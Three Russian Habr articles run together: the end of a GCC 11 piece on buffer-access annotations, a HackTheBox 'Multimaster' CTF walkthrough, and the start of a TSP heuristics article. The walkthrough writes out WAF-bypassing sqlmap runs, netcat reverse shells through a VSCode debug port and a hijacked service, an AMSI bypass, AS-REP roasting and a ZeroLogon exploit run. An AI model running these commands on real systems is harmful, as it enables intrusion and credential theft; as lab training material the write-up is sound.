* Параметры функций, представленные массивами переменной длины (Variable-length array, VLA) (это — новая возможность, которая появилась в [GCC 11](https://gcc.gnu.org/gcc-11/changes.html), доступна она лишь в C).
* Параметры функций, представленные массивами (новая возможность GCC 11, она доступна лишь в C).
Атрибут access
--------------
Применение атрибута [access](https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html) может оказаться полезным в функциях, которые, в виде одного из аргументов, принимают указатель на буфер, а в виде второго аргумента — размер буфера. Это, например, пара POSIX-функций `read()` и `write()`. Помимо того, что данный атрибут помогает программисту связать эти два параметра, он ещё и позволяет описать то, как именно функция работает с буфером. Атрибут применяется к объявлениям функций. Он используется и в местах вызова функций, и при анализе объявлений функций с целью выявления ошибочных операций доступа к памяти.
Этот атрибут имеет следующий синтаксис:
* access (access-mode, ref-index)
* access (access-mode, ref-index, size-index)
Здесь `ref-index` и `size-index` указывают на позиционные аргументы, нумерация которых начинается с 1. Они олицетворяют собой, соответственно, буфер и его размер. Аргумент, представляющий собой буфер, `ref-index`, может быть объявлен как обычный указатель на объект, включая `void*`. Он, кроме того, может быть представлен в форме массива (вроде `T[]` или `T[N]`). Ему необязательно указывать на завершённый тип. Необязательный аргумент `size-index` должен ссылаться на целочисленный аргумент, который задаёт количество элементов массива, к которому может обращаться функция. В случае с буферами незавершённых типов, таких, как `void*`, считается, что `size-index` содержит сведения о количестве байтов. Если аргумент `size-index` не указан, предполагается, что буфер содержит один элемент.
Аргумент `access-mode` описывает то, как именно функция будет работать с буфером, режим доступа к нему. В GCC 11 предусмотрено четыре режима доступа к буферам:
* Режим `read_only` указывает на то, что функция лишь считывает данные из предоставленного ей буфера, но ничего в него не записывает. Ожидается, что буфер будет инициализирован источником вызова функции. Режим `read_only` обеспечивает более надёжные гарантии неизменности буфера, чем квалификатор `const`, использованный при объявлении буфера, так как квалификатор можно снять и буфер может быть модифицирован в корректной программе, если только сам объект буфера не является неизменным. Параметр, к которому применяется режим `read_only`, может быть объявлен с квалификатором `const` (но это необязательно). В C99 объявление параметра как `read_only` имеет тот же смысл, что объявление его с использованием одновременно и `const`, и `restrict` (правда, GCC 11 не распознаёт эти два варианта объявления параметров как равнозначные).
* Режим `write_only` указывает на то, что функция осуществляет только запись данных в предоставленный ей буфер, но ничего из него не читает. Буфер может быть неинициализированным. Попытка применить режим `write_only` к const-параметру приводит к выдаче предупреждения и к игнорированию атрибута. Это, фактически, режим доступа, используемый по умолчанию для параметров, которым не назначен атрибут `access`.
* Режим `read_write` указывает на то, что функция и читает данные из буфера, и пишет их в него. Ожидается, что функции будет предоставлен инициализированный буфер. Попытка применения режима доступа `read_write` к параметру, объявленному с квалификатором `const`, приведёт к выдаче предупреждения, а атрибут будет проигнорирован.
* Режим `none` говорит о том, что функция никак не работает с буфером. Буфер может быть неинициализированным. Это — режим, который появился в GCC 11, он предназначен для функций, которые выполняют валидацию аргументов без доступа к данным, хранящимся в буфере.
В следующем примере демонстрируется использование атрибута `access` для аннотирования POSIX-функций `read()` и `write()`:
```
__attribute__ ((access (write_only, 2, 3))) ssize_t
read (int fd, void *buf, size_t nbytes);
__attribute__ ((access (read_only, 2, 3))) ssize_t
write (int fd, const void *buf, size_t nbytes);
```
Функция `read()` сохраняет данные в предоставленный ей буфер. Поэтому в качестве режима доступа используется `write_only`. Функция `write()` читает данные из буфера. Поэтому тут используется режим доступа `read_only`.
Атрибут `access` играет роль, подобную той, которую играет объявление параметра функции с использованием массива переменной длины, но использование атрибута даёт больший уровень гибкости. Помимо возможности указания режима доступа к буферу, аргумент `size-index` может быть связан с указателем, размер которого идёт в списке аргументов функции после него. Именно так часто и происходит. Массивам переменной длины посвящён следующий раздел.
Параметры функций, представленные массивами переменной длины
------------------------------------------------------------
В C (но, в GCC 11, не в C++), параметр функции, объявленный в виде массива, может ссылаться на неконстантное выражение, включая предыдущие параметры той же функции, используемое для задания границ массива. Когда значение, представляющее границу, является ссылкой на другой параметр функции, объявление этого параметра должно предшествовать VLA (GCC содержит расширение, позволяющее обойти это ограничение языка; дополнительные сведения об этом можно найти в соответствующем разделе [документации](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Variable-Length.html) по GCC). Если подобным способом устанавливается лишь верхняя граница массива, то он становится обычным указателем, похожим на любой другой массив. В противном случае это — VLA. Так как это различие между двумя видами массивов в данном контексте является достаточно тонким, в диагностических сообщениях GCC все эти массивы называются VLA. Мы, в продолжение этого материала, тоже будем придерживаться такого вот упрощённого подхода к массивам. Например:
```
void init_array (int n, int a[n]);
```
Эта функция принимает обычный массив (или, если точнее, указатель) в качестве второго аргумента. Количество элементов этого массива задаёт первый аргумент. Хотя это, в общем-то, не нарушает требований языка, передача функции массива с меньшим числом элементов, чем указано в первом аргументе, почти наверняка указывает на ошибку. GCC проверяет вызовы подобных функций и выдаёт предупреждения в тех случаях, когда определяет, что переданные им массивы меньше, чем ожидается. Например, имеется следующая [программа](https://godbolt.org/z/Tha38rd6f):
```
#include
#define N 32
void init\_array (int n, int a[n]);
int\* f (void)
{
int \*a = (int \*)malloc (N);
init\_array (N, a);
return a;
}
```
При вызове функции `init_array` GCC находит проблему, выдавая следующее предупреждение:
```
In function 'f':
warning: 'init_array' accessing 128 bytes in a region of size 32 [-Wstringop-overflow=]
10 | init_array (N, a);
| ^~~~~~~~~~~~~~~~~
note: referencing argument 2 of type 'int *'
note: in a call to function 'init_array'
5 | void init_array (int n, int a[n]);
| ^~~~~~~~~~
```
Компилятор, выдавая это предупреждение, предполагает наличие ошибки в коде, на которую указывает то, что `init_array` передают массив, который меньше, чем указано в первом аргументе.
Как уже было сказано, объявление массива, когда лишь его верхняя граница задаётся переменной, на самом деле, приводит к объявлению обычного массива, а не VLA. Значение имеет лишь нижняя граница массива. Это значит, что в следующем [примере](https://godbolt.org/z/xvaeYhnsW) все объявления корректны и равноценны:
```
void init_vla (int n, int[n]);
void init_vla (int, int[32]);
void init_vla (int, int*);
void init_vla (int n, int[n + 1]);
```
Тут, правда, возникает одна проблема. Какое из этих объявлений должно быть использовано для выдачи предупреждения, связанного с доступом к элементу, лежащему за пределами границ массива? В GCC 11 реализовано решение, опирающееся на первое объявление функции, и выдающее отдельное предупреждение, [-Wvla-parameter](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wvla-parameter), для любых последующих повторных объявлений, описывающих другое количество элементов в массиве. В результате при анализе кода, содержащего четыре вышеприведённых объявления функций, выдаются следующие предупреждения:
```
warning: argument 2 of type 'int[32]' declared as an ordinary array [-Wvla-parameter]
2 | void init_vla (int, int[32]);
| ^~~~~~~
warning: argument 2 of type 'int *' declared as a pointer [-Wvla-parameter]
3 | void init_vla (int, int*);
| ^~~~
warning: argument 2 of type 'int[n + 1]' declared with mismatched bound [-Wvla-parameter]
4 | void init_vla (int, int[n + 1]);
| ^~~~~~~~~
note: previously declared as a variable length array 'int[n]'
1 | void init_vla (int n, int[n]);
| ^~~~~~
```
Параметры функций, представленные массивами
-------------------------------------------
Современные C-программисты, опасаясь ситуаций с выделением в стеке памяти неограниченного объёма, как правило, используют массивы переменной длины не так часто, как их можно было бы использовать. Это справедливо даже для особых случаев, вроде объявлений функций, где применение таких массивов не только безопасно, но и помогает компилятору анализировать код. В некоторых проектах, где VLA не используются, применяется более простое решение, которое заключается в объявлении параметров функций в виде обычных массивов (например — `T(N)`). При таком подходе ожидается, что вызывающая сторона предоставит функции доступ к некоему постоянному минимальному числу элементов (например — `N`). Так, стандартная C-функция `tmpnam()` ожидает, что её аргумент будет указывать на массив, в котором содержится, как минимум, `L_tmpnam` элементов. Для того чтобы выразить это ожидание в явном виде, в GNU libc 2.34 эта функция объявлена так:
```
char *tmpnam (char[L_tmpnam]);
```
GCC 11 распознаёт такие конструкции. Когда компилятор выясняет, что при вызове функции ей передаётся массив, размер которого меньше, чем указано в объявлении функции, он выдаёт предупреждение. Например, учитывая то, что в Linux `L_tmpnam` равно 20, испытаем следующую функцию:
```
void g (void)
{
char a[16];
if (tmpnam (a))
puts (a);
}
```
GCC выдаст следующее предупреждение:
```
In function 'g':
warning: 'tmpnam' accessing 20 bytes in a region of size 16 [-Wstringop-overflow=]
10 | if (tmpnam (a))
| ^~~~~~~~~~
note: referencing argument 1 of type 'char *'
note: in a call to function 'tmpnam'
3 | extern char* tmpnam (char[L_tmpnam]);
| ^~~~~~
```
GCC 11, в дополнение к вызовам функций, проверяет ещё и определения функций, в которых используются параметры-массивы, и выдаёт предупреждения при нахождении операций по работе с массивами, которые направлены на элементы, выходящие за постоянные границы массивов. Например, анализ объявления функции `init_array()`, код которой показан ниже, приводит к выдаче [предупреждения](https://godbolt.org/z/xvaeYhnsW) `-Warray-bounds`.
Вот код функции:
```
void init_array (int, int a[32])
{
a[32] = 0;
}
```
А вот — предупреждение:
```
In function 'init_array':
warning: array subscript 32 is outside array bounds of 'int[32]' [-Warray-bounds]
3 | a[32] = 0;
| ~^~~~
note: while referencing 'a'
1 | void init_array (int, int a[32])
| ~~~~^~~~~
```
Аналогично, если речь идёт о повторных объявлениях функции с использованием VLA-параметров, GCC, кроме прочего, проверяет и их с учётом свойств параметра-массива первой функции, и выдаёт предупреждение [-Warray-parameter](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Warray-parameter) в случае обнаружения несоответствий между первым объявлением и повторными объявлениями функции. Например, речь может идти о следующих объявлениях функции:
```
void init_array (int, int[32]);
void init_array (int, int[16]);
void init_array (int n, int[]);
void init_array (int n, int*);
```
Вот предупреждения, которые выдаёт GCC:
```
warning: argument 2 of type 'int[16]' with mismatched bound [-Warray-parameter=]
2 | void init_array (int, int[16]);
| ^~~~~~~
warning: argument 2 of type 'int[]' with mismatched bound [-Warray-parameter=]
3 | void init_array (int n, int[]);
| ^~~~~
warning: argument 2 of type 'int *' declared as a pointer [-Warray-parameter=]
4 | void init_array (int n, int*);
| ^~~~
note: previously declared as an array 'int[32]'
1 | void init_array (int, int[32]);
| ^~~~~~~
```
Нюансы и ограничения
--------------------
Те возможности GCC, о которых мы говорили, уникальны в одном интересном аспекте. А именно, их использование предусматривает применение к коду и простого лексического анализа, и более сложного динамического анализа, опирающегося на особенности выполнения этого кода. В теории, предупреждения, опирающиеся на лексический анализ, могут быть одновременно и надёжными, и полными (то есть — они не могут быть ни ложноположительными, ни ложноотрицательными). Предупреждения `-Warray-parameter` и `-Wvla-parameters` выдаются на основе лексического анализа кода, в результате они практически не страдают от подобных проблем. А вот предупреждения, основанные на динамическом анализе кода, с другой стороны, по своей природе, не являются ни надёжными, ни полными. Такие предупреждения, напротив, могут быть и ложноположительными, и ложноотрицательными.
### ▍Ложноотрицательные предупреждения
Для использования атрибутов `access` и выявления операций, которые направлены на области памяти, находящиеся за пределами допустимого адресного пространства, функция, к которой применяются такие атрибуты, не должна быть встроенной. Если же функция встроена в источник вызова, большинство её атрибутов обычно теряется. Это может помешать GCC в детектировании ошибок тогда, когда некорректные операции доступа к памяти не могут быть надёжно выявлены, основываясь лишь на коде тела встроенной функции. Например, функция `genfname()` из следующего примера использует, для генерирования имени временного файла в директории `/tmp`, функцию `getpid()`:
```
#include
#include
inline void genfname (char name[27])
{
snprintf (name, 27, "/tmp/tmpfile%u.txt", getpid ());
}
int main (void)
{
char name[16];
genfname (name);
puts (name);
}
```
Так как в большинстве систем POSIX-функция `getpid()` возвращает 32-битное целое число, самое длинное имя, которое может сгенерировать эта функция, имеет длину 26 символов (10 символов с учётом `INT_MAX`, плюс — ещё 16 с учётом строки `/tmp/tmpfile.txt`; тут надо учесть и ещё один байт для завершающего нуль-символа). Когда вызов `genfname()` в `main()` не является вызовом встроенной функции, GCC, как и ожидается, выдаёт следующее предупреждение:
```
In function 'main':
warning: 'f' accessing 27 bytes in a region of size 16 [-Wstringop-overflow=]
11 | f (a);
| ^~~~~
note: referencing argument 1 of type 'char *'
note: in a call to function 'f'
3 | inline void f (char a[27])
| ^
```
Но если речь идёт о вызове встроенной функции, то никакого предупреждения не выводится. [Здесь](https://godbolt.org/z/Pv6qbzd1o) можно поэкспериментировать с обоими этими сценариями использования функций.
К слову сказать, если вам интересно, почему вызов `sprintf()` не приводит к выводу предупреждения `-Wformat-truncation`, то знайте, что дело в том, что компилятор не может что-либо узнать о результатах вызова `getpid()`.
### ▍Ложноположительные предупреждения
В целом можно сказать, что выявление некорректных операций доступа к памяти на основании аннотаций исходного кода, о которых мы тут говорили, подвержено тем же ограничениям и недостаткам, которые характерны для проверок кода, основанного на анализе особенностей его выполнения. Подробности об этом можно почитать [здесь](https://developers.redhat.com/blog/2019/03/13/understanding-gcc-warnings-part-2). В частности, определённый интерес в этом документе могут представлять несколько часто встречающихся проблем, относящихся к механизму аннотирования функций.
Как уже было сказано, в некоторых проектах используются параметры, представленные массивами, границы которых оформлены в виде констант. Это делается для того чтобы дать тому, кто вызывает функцию, подсказку о том, что он должен предоставить этой функции массив, в котором содержится, как минимум, столько элементов, сколько совпадает с количеством элементов в массиве-параметре. Но иногда разработчики функций не особенно строго придерживаются этого подхода. Например, функции используют массив лишь тогда, когда другой параметр имеет некое значение, а в других случаях не используют его. Так как нет ничего, что сообщило бы GCC об этой «особенности», предупреждение может быть выдано даже в том случае, если функция работает корректно. Мы рекомендуем не прибегать к вышеописанному подходу с массивами-параметрами в таких случаях.
Что дальше?
-----------
В GCC атрибут `access` можно использовать для выявления следующих проблем:
* Доступ к областям памяти, находящимся за пределами допустимого адресного пространства `(-Warray-bounds`, `-Wformat-overflow`, `-Wstringop-overflow` и `-Wstringop-overread`).
* Доступ к перекрывающимся областям памяти ([-Wrestrict](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wrestrict)).
* Доступ к неинициализированным областям памяти ([-Wuninitialized](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wuninitialized)).
В будущем нам хотелось бы использовать этот атрибут для выявления переменных, в которые осуществляется запись, но из которых никогда ничего не считывается ([-Wunused-but-set-parameter](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wunused-but-set-parameter) и [-Wunused-but-set-variable](https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#index-Wunused-but-set-variable)).
Мы, кроме того, рассматриваем возможность расширения, в какой-либо форме, атрибута `access`, для его применения к значениям, которые возвращают функции, а так же — к переменным. Аннотирование значений, возвращаемых функциями, позволит GCC детектировать попытки модификации иммутабельных объектов через указатели, возвращённые из функций (например — из функций `getenv()` или `localeconv()`). И, аналогично, аннотирование глобальных переменных позволит выявлять попытки случайной модификации содержимого соответствующих объектов (например — это может быть массив указателей [environ](https://pubs.opengroup.org/onlinepubs/9699919799/functions/environ.html), хранящий сведения о переменных окружения).
Пользуетесь ли вы подсказками для компиляторов, которые помогают им проверять код? | https://habr.com/ru/post/572338/ | null | ru | null |
# HackTheBox. Прохождение Multimaster. Burp+Sqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon
Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.
```
10.10.10.179 multimaster.htb
```
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
```
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
```
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
```
С SMB и LDAP ничего сделать не выходит, посмотрим веб.
На сайте есть авторизация, а также форма поиска.
Причем поиск работает по вхождению.
Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.
Получается, что мы имеем SQL инъекцию.
Но вывести хоть что-либо не выходит. Видимо используется WAF.
Но его получилось обойти за счет использования Unicode кодировки.
И находим количество столбцов.
Значит инъекция есть 100%.
Sqlmap + Burp Suite
-------------------
Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД — отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
```
И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
```
Перехватываем запросы в burp, и видим несколько иное отображение кодировки.
Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.
И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.
Добавим правило, которое в теле запроса будет менять %u на \u.
И удостоверимся, что оно активно.
Теперь снова выполним sqlmap.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
```
В Burp наблюдаем уже исправленный запрос.
Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.
Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
```
Мы ничего не можем сделать. Узнаем базы данных.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
```
Посмотрим таблицы из Hub\_DB.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
```
То что нужно. Таблица Logins. Извлечем из нее все данные.
```
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
```
И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.
Теперь узнаем режимы hashcat, которые мы будем перебирать.
Всего три режима. И используя последнй мы ломаем три хеша.
```
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
```
Но данные хеши не подходят для SMB. Копаем дальше.
USER
----
То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.
И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.
Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn\_varbintohexstr.
И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора — 500.
Из полученного SID возьмем первые 48 байт.
И добавляем в конец, RID — 500 (не забываем перевернуть).
И теперь получим имя учетной записи по нашему SID.
Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.
Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.
```
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
```
Сохраняем результат в файл и указываем в Burp.
Также выключаем URL кодирование и заменяем все 0x на \u00.
Помним про WAF, ставим один поток и и задержку между запросами.
Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.
Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.
Подключаемся к WinRM и мы в системе.
USER2
-----
Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.
Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.
Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.
Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.
И в глаза бросается VSCode.
Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!
Как следует [отсюда](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1414):
> An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.
Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать [cefdebug](https://github.com/taviso/cefdebug).
Давайте найдем прослушиваемый порт.
Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.
```
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
```
И видим успешное подключение.
Идем в нашу директорию.
Из всего представленного наибольший интерес представляет API. Давайте скачаем его.
Я перешел в систему Windows и проверил, на чем написана данная библиотека.
Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.
И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.
```
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
```
И забираем еще одного пользователя
USER3
-----
При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью [Invoke-AlokS-AvBypass](https://github.com/aloksaurabh/OffenPowerSh/blob/master/Bypass/Invoke-AlokS-AvBypass.ps1).
Теперь спокойно загружаем на хост sharphound.
И после запуска наблюдаем архив.
Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.
Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.
Давайте получим информацию о связи.
Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство — не требовать предварительную аутентификацию Kerberos.
И выполним запрос.
Копируем хеш и ломаем с помощью hashcat.
```
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
```
Получаем пароль пользователя. И успешно заходим под ним.
ROOT
----
Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.
Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDataService.
Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.
```
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
```
И после запуска службы наблюдаем подключение на 4321 порт.
```
sc.exe start SensorDataService
```
Мы с правами SYSTEM.
CVE-2020-1472
-------------
А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).
По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).
```
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
```
Теперь используем [эксплоит](https://raw.githubusercontent.com/blackarrowsec/redteam-research/master/CVE-2020-1472/CVE-2020-1472.py).
```
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
```
Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.
```
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
```
А с хешем администратора можем подключиться через WinRM.
В частности, так можно захватить контроллер домена на базе:
* всех версий Windows Server 2019, Windows Server 2016;
* всех вариантов Windows Server версии 1909;
* Windows Server версии 1903;
* Windows Server версии 1809 (Datacenter, Standard);
* Windows Server 2012 R2;
* Windows Server 2012;
* Windows Server 2008 R2 Service Pack 1.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/519814/ | null | ru | null |
# TSP problem. Mixed algorithm
Всем доброго времени суток. В прошлых статьях мы сравнивали два эвристических алгоритма оптимизации на симметричной задаче коммивояжера таких как: ACS (ant colony system — муравьиный алгоритм) и SA (simulating annealing — алгоритм имитации отжига). Как мы убедились у каждого свои плюсы и минусы.
Плюсы SA — относительно высокая скорость алгоритма, простота реализации. Из минусов — алгоритм не является «гибким», также нет так называемой «способности к перестроению фигуры». Тем кто хочет вникнуть в суть алгоритма имитационного отжига отсылаю к данной [статье](https://habrahabr.ru/post/209610/).
Плюсы AS(ACS) — присутствие коллективизма, сходимость алгоритма от итерации к итерации, способность к перестроению фигуры (всегда ищет альтернативные пути, по сути, при правильном подборе параметров не застревает на локальном оптимуме), возможность частичного параллелизма. Из минусов — долгое время алгоритма, сложность при высоком количестве вершин. Тем кто хочет вникнуть в суть муравьиного алгоритма отсылаю к [сайту](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D1%83%D1%80%D0%B0%D0%B2%D1%8C%D0%B8%D0%BD%D1%8B%D0%B5_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D1%8B). Также можете посмотреть код, написанный на MatLab в моих предыдущих статьях, там в комментариях можно понять принцип.
Сегодня я хотел бы показать Вам первую версию алгоритма, который вобрал в себя лучшее из разных алгоритмов, и который способен найти с с первой попытки с высокой вероятностью **глобальный оптимальный путь** до 100 вершин менее чем за 5 секунд на обычном домашнем ПК. Показывать все буду стараться на примерах с графическими иллюстрациями. Код написан на MatLab. Местами в его стихии — векторно, если у кого-нибудь возникнут проблемы при переноса алгоритма на свой язык — пишите в комментариях. Тем кто заинтересовался более серьезно, либо те кто хочет реализовать свою версию — предлагаю посмотреть предыдущие статьи, а также посмотреть полный код алгоритма, который будет приложен снизу статьи. В комментариях старался расписать каждую строчку.
Сразу отмечу, что возможно данный алгоритм уже существует, но я не нашел его в просторах глобальной сети. Итак каким он должен быть в реализации данной статьи:
1 — Максимально простым
2 — Максимально быстрым
3 — Возможность распараллеливания на CPU (в том числе модных на сегодня GPU)
4 — Гибким (возможность модернизирования, изменчивость параметров)
5 — Менее зависим от случайных параметров
6 — Возможность перестроения фигуры
Под чем я подразумеваю перестроение фигуры см. ниже.
Перестроение фигуры TSP на задаче Eil101 (traveling salesman problem):
На изображении видно что дистанция обоих маршрутов отличается на 1%, однако у них совсем разные маршруты. То есть совсем разные фигуры. Хороший алгоритм должен создавать как можно больше подобных фигур. У SA это слабо развито.
Метод имитации отжига (как мы убедились в предыдущих статьях) при начальной высокой температуре, а также при медленно падающей температуре — способен достичь хороших результатов, однако это значительно увеличивает время алгоритма, также как и совсем не гарантирует нахождения глобального лучшего пути. Другое дело, если мы разом запустим несколько алгоритмов SA, занесем в массив результаты каждого и выберем лучший.
Один из минусов классического алгоритма SA это то, что в нем слишком много «random-а», сначала случайно выбираем две вершины, потом снова «random», чтобы принять или не принять худшее решение. В данном алгоритме я старался максимально снизить долю случайности.
Поэтому в данном алгоритме мы, вместо того чтобы «рандомить» две вершины, сразу переберем все возможные части инвертации пути. Напомню, что наша цель только глобальный оптимум, только хардкор. Точнее не глобальный, а лучший найденный на сегодняшний день.
***Уточнение:***
